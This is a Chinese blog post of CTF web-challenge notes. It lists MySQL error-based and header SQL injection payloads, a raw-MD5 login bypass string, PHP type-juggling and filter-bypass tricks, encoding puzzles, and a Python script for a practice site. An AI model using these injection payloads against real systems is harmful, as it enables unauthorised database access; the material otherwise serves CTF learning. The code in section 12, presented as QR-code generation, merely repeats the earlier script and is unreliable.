CTF比赛篇

一、CTF之MD5参数特殊字符注入攻击

$sql = "select * from admin where usename ='admin' and password ='".md5($password.true)."'"

语法:

md5(string.raw)

string 必须,要计算的字符串

raw 可选,默认不写为FALSE,32位16进制的字符串;TRUE,16位原始二进制格式的字符串。

 

‘ or 1=1 --

$password = ffifdyop

 

二、CTF之POST提交下MYSQL报错注入

1、报错注入floor:

select 1 from ( select count(*),concat((payload[])),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1

 

2、报错注入extractvalue:

select extractvalue(1,concat(0x5c,([payload])))

 

3、报错注入updatexml:

select 1 =(updatexml(1,concat(0x3a,([payload])),1))

 

4、报错注入Exp:

select Exp(~(select 8 from ([payload])a))

 

三、CTF之SQL注入HTTP头注入伪造IP

X-Forwarded-For:192.168.1.120' order by 1--

 

四、CTF之jsfuck加密解密 Console运行

原理:利用审查元素对JS加密进行运行计算

 

五、CTF之HTTP响应头获取提交方式请求获取

请求头

响应头

 

1、先获取响应头flag数据

2、将flag进行base64解码

3、以post提交带入key参数及flag值

 

pyhton代码如下:

import requests
import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php"
flag = requests.get(url).headers["FLAG"]
print(flag)

flag = base64.b64decode(flag)
print(flag)

flag = str(flag).split(":")[1]
flag = str(flag).split("'")[0]
print(flag)

#data={"key":flag}

flag_code = requests.post(url,data={"key":flag})
print(flag_code.text)

 

六、CTF之URLEncode解决PHP备份获取Flag

注意:有时候需要URLEncode两次,因为浏览器默认会自动解密一次。

 

七、CTF之代码分析session和cookie的关系

利用接受数据判断获取flag

session:用户会话 服务器 更安全

cookie:用户凭据 本机 不安全

 

八、CTF之PHP运算符反序列化原理与安全问题

运算符:

==:比较运算号,不会检查条件式的表达式的类型

===:恒等计算符,同时检测表达式的值与类型

 

PHP序列化与反序列化

serialize() 对输入的数据进行序列化转换

unserialize() 恢复原先变量,还原已经序列化的对象。

 

240610708 md5()

 

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

a代表array,s代表string,b代码bool,而数字代表个数/长度

 

九、CTF之PHP过滤中未递归导致的安全问题

pphphp = > php

未使用递归过滤会导致只过滤一次

127.0.0.1/x.php =>127.0.0.1/x/x.php

 

十、CTF之PHP脚本 全局变量下的IP安全

关于获取IP的实际情况

1、基于操作系统下的获取

2、基于脚本代码下的获取(可伪造)

 

$_SERVER["HTTP_X_FORWARDED_FOR"]

 

十 一、CTP之加密解密、加码解码算法题目过关

常见的通用加解密和加解码

独立开发的加密算法

 

1、Hex加密

0x253464253534253435253335253433253661253435253737253464253531253666253738253464253434253637253462253466253534253662253462253464253534253435253738253433253661253435253737253466253531253666253738253464253434253435253462253464253534253435253332253433253661253435253738253464253531253666253738253464253534253535253462253464253534253431253330253433253661253435253737253465253531253666253738253464253661253435253462253466253534253633253462253464253534253435253737253433253661253662253334253433253661253662253333253433253661253435253738253465253431253364253364

 

2、URL加密

%4d%54%45%35%43%6a%45%77%4d%51%6f%78%4d%44%67%4b%4f%54%6b%4b%4d%54%45%78%43%6a%45%77%4f%51%6f%78%4d%44%45%4b%4d%54%45%32%43%6a%45%78%4d%51%6f%78%4d%54%55%4b%4d%54%41%30%43%6a%45%77%4e%51%6f%78%4d%6a%45%4b%4f%54%63%4b%4d%54%45%77%43%6a%6b%34%43%6a%6b%33%43%6a%45%78%4e%41%3d%3d

 

3、Base64加密

MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTUKMTA0CjEwNQoxMjEKOTcKMTEwCjk4Cjk3CjExNA==

 

4、ASCII码

119 101 108 99 111 109 101 116 111 115 104 105 121 97 110 98 97 114

 

十二、CTP之Pyhton图片库解密二维码明文

http://ctf5.shiyanbar.com/423/misc/code.txt

 

Pyhton字符串生成二维码图片代码:

import requests
import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php"
flag = requests.get(url).headers["FLAG"]
print(flag)

flag = base64.b64decode(flag)
print(flag)

flag = str(flag).split(":")[1]
flag = str(flag).split("'")[0]
print(flag)

#data={"key":flag}

flag_code = requests.post(url,data={"key":flag})
print(flag_code.text)
    A+
发布日期:2019年09月16日 21:12:53  所属分类:渗透测试
最后更新时间:2019-09-16 22:28:44
付杰
  • ¥ 59.0元
  • 市场价:99.0元
  • ¥ 39.0元
  • 市场价:39.0元
  • ¥ 198.0元
  • 市场价:298.0元
  • ¥ 199.0元
  • 市场价:179.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: